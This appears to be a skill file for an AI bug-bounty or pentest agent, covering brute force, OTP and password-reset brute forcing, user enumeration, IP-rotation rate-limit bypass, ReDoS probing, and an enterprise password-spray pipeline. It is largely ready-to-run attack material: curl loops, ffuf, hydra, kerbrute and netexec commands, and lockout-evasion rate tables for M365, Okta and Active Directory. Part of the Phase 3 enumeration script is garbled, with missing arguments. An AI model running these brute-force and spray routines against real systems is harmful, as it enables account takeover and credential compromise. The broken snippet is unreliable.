| name | hunt-brute-force |
| description | Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical). |
| sources | public_research |
| report_count | 0 |
HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
Grounding note: this skill is built from published technique classes, not from a
curated set of named HackerOne reports. report_count is intentionally 0 — do
not cite an exact payout or report ID you cannot verify. Where a public case is
well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
research, 2019–2021), it is named below as a technique reference, not a payout claim.
Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
Highest-value chains:
- OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on
/verify-otp, full 000000–999999 keyspace reachable
- Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
- ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
CRITICAL: Four rate-limit states — do not collapse them
A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting
skill that only checks for 429/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
full response (status, body, headers, latency, and downstream success):
| State | Signal | Brute still feasible? |
|---|
| Hard account lockout | account disabled after N fails; later correct creds also fail | No (but lockout itself can be a DoS finding) |
| Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| Silent shadow-throttle | 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
Shadow-throttle detector — inject a known-good value at a known position and
confirm it still works under load:
KNOWN_GOOD="123456"
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
Step-by-Step Hunting Methodology
Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
for i in $(seq 1 50); do
read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
Phase 2 — OTP / 2FA Brute Force
SESSION_COOKIE="pre-auth-session-after-first-factor"
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
Phase 3 — Username / Email Enumeration (string AND status AND timing)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
for U in "$VALID_USER" "$INVALID_USER"; do
curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
echo "VALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"\",\"password\":\"wrong\"}"; | -n | awk
; i $( 1 30); curl -s -o /dev/null -w \
-X POST -H \
-d ; | -n | awk
curl -s -X POST -d | grep -i
curl -s -X POST -d | grep -i
curl -s -X POST -d | grep -i
Phase 4 — IP / Source Rotation Bypass
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
Phase 5 — Token Entropy (measure it, don't eyeball it)
for i in $(seq 1 20); do
curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
sleep 2
done
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'
Phase 6 — ReDoS Detection
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')")
T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
Automation
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
Chain Table
| Finding | Chain to | Impact |
|---|
| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |
| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |
| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |
| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |
| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |
| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |
| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |
Validation — false-positive discipline
Before writing the report, each must hold:
- OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of
429.
Shadow-throttle seed test passed (the known-good value still authenticates under burst load).
Latency and body-size were monitored, not only status code.
- Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime
vs 10^6), not by a 101-code probe. State the numbers in the report.
- Enumeration: difference is reproducible across ≥20 samples and is a server-state difference
(valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…"
message is NOT enumeration). For timing, compare medians of many samples, never single requests.
- IP-rotation bypass: proven by toggling rotation off and showing the
429 returns. The delta IS
the proof; one fast run alone is not.
- Token entropy: backed by an actual measurement (Burp Sequencer effective-bits,
ent, or a
demonstrated counter/timestamp structure), not "looks short".
- ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
- Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)?
A rate-limit gap with no reachable impact is informational, not Medium.
Severity:
- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
- No login rate limit + working credential-stuffing/IP-bypass: High
- Predictable security token (measured low entropy): High
- Username/email enumeration alone: Low–Medium
- ReDoS with reproducible meaningful server lag: Medium–High
- Attacker-triggerable hard lockout (account DoS): Medium
Password Spray Pipeline (5 Phases)
Password spraying is the highest-ROI credential attack: one (or few) passwords tried against many users. It's quiet, avoids lockouts, and succeeds where traditional brute force fails.
Phase 1: ENUMERATE USERS → valid user list
Phase 2: DETECT LOCKOUT → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS → error code differential → finding or discard
Phase 1 — User Enumeration Sources
| Source | Technique | Lockout Risk |
|---|
| LinkedIn / company page | Scrape employee names → username-anarchy | Zero |
| OneDrive personal site | GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=exists, 404=no | Zero |
| Kerberos pre-auth | kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt | Zero |
| NTLM Type-2 decode | Extract AD domain, NetBIOS name from anonymous probe | Zero |
| Jira user picker | /rest/api/2/user/picker?query= — public on misconfigured instances | Zero |
| WordPress REST API | /wp-json/wp/v2/users — dumps authors with usernames | Zero |
| GitLab | /api/v4/users — public on open instances | Zero |
| Jenkins | /asynchPeople/ or /securityRealm/user/<name>/ | Zero |
Username format generation:
./username-anarchy -i names.txt > usernames.txt
Phase 2 — Lockout Detection & Throttle Math
Concrete throttle references (from authorized engagements):
| Protocol | Safe Rate | Source |
|---|
| M365 ROPC | ≤30 req/sec to login.microsoftonline.com (per IP) | Authorized engagement |
| M365 Smart Lockout | ≤1 attempt per user LIFETIME per engagement | Mathematical guarantee |
| Okta /authn | ≤2 attempts per user lifetime | Authorized engagement |
| Exchange OWA | Test 5 rapid attempts first; if uniform, spray slowly | exchange-owa-attack |
| SharePoint SOAP | No rate limit observed on SP2013; still go slow | hunt-sharepoint |
| Kerberos (Kerbrute) | No lockout risk from pre-auth probe; spray pace: 1 password per full user list per hour | Public research |
Smart Lockout Math (Microsoft Entra ID):
- Default: 10 failed sign-ins in 10 minutes → 1-minute lockout
- Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
- Mathematical guarantee: with ≤1 attempt per user, you CANNOT cause Smart Lockout (1 < 10)
- Any AADSTS50053 observed = PRE-EXISTING external attacker → SOC finding
Phase 3 — Password Pattern Generation
The complexity backfire: password policies (uppercase + lowercase + digit + special) produce MORE predictable passwords. The human pattern is always: Uppercase first letter + lowercase word + digit at end + ! at end.
Pattern generation recipe:
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
Wordlist strategy:
| Stage | Wordlist | When |
|---|
| 1. Leaked creds | Client-provided dump, stealer logs | Always first |
| 2. Company-specific | CeWL output + brand patterns | Every engagement |
| 3. Probable-Wordlists | Top 100 from berzerk0's frequency-sorted list | When company patterns fail |
| 4. rockyou.txt top-N | Filter to 8+ chars matching target policy | Fallback |
| AVOID | RockYou2024 | 98% garbage (hashes, truncated strings, unicode junk) |
Phase 4 — Spray Execution Matrix
| Protocol | Endpoint | Command | Rate Limit |
|---|
| M365 ROPC | login.microsoftonline.com/common/oauth2/token | Python attempt() with state file | ≤1/user/lifetime |
| Okta | <tenant>.okta.com/api/v1/authn | curl POST JSON | ≤2/user/lifetime |
| Exchange OWA | /owa/auth.owa (POST), /ews/Exchange.asmx (Basic) | curl HTTP POST or Basic Auth | Test 5 rapid first |
| Kerberos (AD) | KDC (TCP 88) | kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>' | No lockout |
| SMB / WinRM | TCP 445 / 5985 | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success | Per-service |
| SharePoint SOAP | /_vti_bin/Authentication.asmx | POST SOAP Login envelope | No rate limit on SP2013 |
| WordPress XMLRPC | /xmlrpc.php | system.multicall batches hundreds in 1 request | None observed |
| OIDC password grant | /oauth2/token | grant_type=password with client_id | Depends on IdP |
| Atlassian | /rest/auth/1/session (Basic) | curl -u | No rate limit on many instances |
./kerbrute_linux_amd64 passwordspray --dc 10.10.10.5 --domain corp.local valid_users.txt 'Summer2026!'
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt
Phase 5 — Error Code Differentials
The difference between "wrong password" and "correct password but blocked" is everything.
AADSTS Codes (M365/Entra):
| Code | Meaning | Password Valid? |
|---|
| AADSTS50034 | User does not exist | N/A |
| AADSTS50126 | Invalid password | ❌ |
| AADSTS50053 | Account locked (Smart Lockout) | Unknown → SOC finding |
| AADSTS53003 | CA blocked token issuance | ✅ YES — STOP |
| AADSTS50076 | MFA required | ✅ YES |
| AADSTS50079 | Strong auth required | ✅ YES |
| AADSTS50158 | External auth required | ✅ YES |
CRITICAL TRAP: When CA requires MFA, the error body includes "claims":{"access_token":{"capolids":...}}. A loose substring check if "access_token" in raw_body will false-positive every MFA-blocked attempt. Always parse JSON, then check if "access_token" in parsed_dict.
Okta Codes:
| Response | Meaning | Password Valid? |
|---|
200 status=MFA_REQUIRED | MFA challenge waiting | ✅ YES |
200 status=SUCCESS + sessionToken | Full auth (no MFA) | ✅ YES |
200 status=PASSWORD_EXPIRED | Must change password | ✅ YES |
401 E0000004 | Auth failed (user doesn't exist OR wrong password — Okta unifies) | ❌ |
429 | Rate-limit hit | — |
Exchange OWA: 302 + Location to /owa/ = ✅ VALID authenticated. 200 with same login page = ❌ Invalid.
Engagement Discipline
- State file with atomic writes: per-user attempt counter (JSON)
- Engagement journal: JSONL log of every attempt (timestamp, email, password first 4 chars, status, AADSTS code)
- Test ALL tenants: sister domains often have separate Entra tenants with different password policies
- Kill switch: stop run if LOCKED count exceeds threshold
- Leaked creds FIRST: each is the strongest guess for that user
Active-Attacker Detection
Smart Lockout math (1 < 10) doubles as an active-attacker detector:
- Cap: 1 attempt per user
- Observe AADSTS50053 (LOCKED) on multiple users
- You did not cause these locks (1 < 10 = mathematically impossible)
- An external attacker is actively spraying the tenant RIGHT NOW
- Cluster locked users alphabetically → clustering = attacker using sorted username list
- Document locked email list as SOC-actionable finding
Spray Tool Summary
| Tool | Purpose |
|---|
| Kerbrute | AD user enum + spray (no lockout) |
| NetExec (nxc) | Multi-protocol spray (SMB, WinRM, MSSQL, RDP) |
| Burp Intruder | HTTP POST spray (OWA, custom portals) |
| CeWL | Target-specific wordlist generation |
| username-anarchy | Username format generation from real names |
| Hashcat | Password rule generation + wordlist mutation |
| MailSniper | Post-compromise GAL extraction from OWA |
Related Skills
hunt-ato — Brute-force bypass of OTP/MFA is a direct path to Account Takeover. Chain primitive: no rate limit on /verify-otp + 6-digit keyspace (10^6) → attacker enumerates OTP within code lifetime → authenticates as victim → full ATO without password.
hunt-mfa-bypass — Brute-force of the 6-digit OTP is one of 7 MFA bypass patterns (Pattern #4). Chain primitive: OTP validation endpoint accepts repeats without rate limit + code is 6 numeric digits → brute-force 000000–999999 → MFA bypass → ATO.
hunt-auth-bypass — Rate-limit gaps on password-reset or email-verify endpoints create auth bypass chains, plus the Legacy Protocol Matrix for spray endpoints (WordPress XMLRPC, Citrix, F5, Atlassian).
hunt-http-smuggling — HTTP/2 Rapid Reset (CVE-2023-44487) is a rate-limit bypass of a different kind — resetting streams before the server counts them.
hunt-business-logic — Coupon, gift-card, and referral-code brute-forcing are business logic rate-limit gaps.
hunt-llm-ai — LLM-based login forms with "forgot password" features may have invisible rate-limit gaps in the backend.
m365-entra-attack — M365-specific ROPC validation, AADSTS code reference, OneDrive user enumeration, Smart Lockout math.
okta-attack — Okta-specific spray endpoint, error codes, factor enumeration, lockout discipline.
exchange-owa-attack — OWA rate-limit testing, Basic Auth spray, NTLM Type-2 domain extraction.
hunt-ldap — sAMAccountName enumeration → spray target list.
security-arsenal — Rate-Limit Bypass Tables (X-Forwarded-For rotation headers, comma-separated IP chains).
triage-validation — Apply the 7-Question Gate before reporting.